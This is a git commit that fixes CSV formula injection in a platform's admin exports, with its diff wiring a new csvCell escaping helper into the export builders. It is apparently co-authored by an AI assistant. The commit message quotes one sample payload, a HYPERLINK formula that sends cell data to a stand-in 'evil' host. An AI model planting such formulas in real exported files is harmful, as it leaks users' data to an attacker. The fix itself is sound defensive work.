fix(security): defang CSV formula injection in all exports

CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.

The platform exposes anonymous-attacker reachable sinks:

- `application.submit` is publicProcedure with `projectName` as
  `z.string().min(2).max(200)` — no character filter — so a project
  titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
  admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
  `AuditLog.userAgent` and dumped verbatim into the audit-log CSV.

Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:

- `src/components/shared/csv-export-dialog.tsx` — used by
  export.evaluations, export.assignments, export.filteringResults,
  export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)

Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
Matt
2026-04-29 04:14:42 +02:00
parent 9d0beed02f
commit fbc42f11fd
4 changed files with 61 additions and 45 deletions

View File

@@ -39,6 +39,7 @@ import { Textarea } from '@/components/ui/textarea'
import { Slider } from '@/components/ui/slider'
import { Switch } from '@/components/ui/switch'
import { ScoreExplainerDialog } from '@/components/shared/score-explainer-dialog'
import { csvCell } from '@/lib/csv'
import {
Collapsible,
CollapsibleContent,
@@ -652,16 +653,9 @@ export function RankingDashboard({ competitionId: _competitionId, roundId }: Ran
}
const headers = result.columns
const csvRows = [
headers.join(','),
headers.map((h: string) => csvCell(h)).join(','),
...result.data.map((row: Record<string, unknown>) =>
headers.map((h: string) => {
const val = row[h]
if (val == null) return ''
const str = String(val)
return str.includes(',') || str.includes('"') || str.includes('\n')
? `"${str.replace(/"/g, '""')}"`
: str
}).join(','),
headers.map((h: string) => csvCell(row[h])).join(','),
),
]
const blob = new Blob([csvRows.join('\n')], { type: 'text/csv;charset=utf-8;' })

View File

@@ -13,6 +13,7 @@ import {
DialogTitle,
} from '@/components/ui/dialog'
import { Download, Loader2 } from 'lucide-react'
import { csvCell } from '@/lib/csv'
/**
* Converts a camelCase or snake_case column name to Title Case.
@@ -105,30 +106,14 @@ export function CsvExportDialog({
const columnsArray = exportData.columns.filter((col) => selectedColumns.has(col))
// Build CSV header with formatted names
const csvHeader = columnsArray.map((col) => {
const formatted = formatColumnName(col)
// Escape quotes in header
if (formatted.includes(',') || formatted.includes('"')) {
return `"${formatted.replace(/"/g, '""')}"`
}
return formatted
})
// Build CSV header with formatted names. Use csvCell so formula-character
// headers (unlikely in practice) are still defanged.
const csvHeader = columnsArray.map((col) => csvCell(formatColumnName(col)))
const csvContent = [
csvHeader.join(','),
...exportData.data.map((row) =>
columnsArray
.map((col) => {
const value = row[col]
if (value === null || value === undefined) return ''
const str = String(value)
if (str.includes(',') || str.includes('"') || str.includes('\n')) {
return `"${str.replace(/"/g, '""')}"`
}
return str
})
.join(',')
columnsArray.map((col) => csvCell(row[col])).join(',')
),
].join('\n')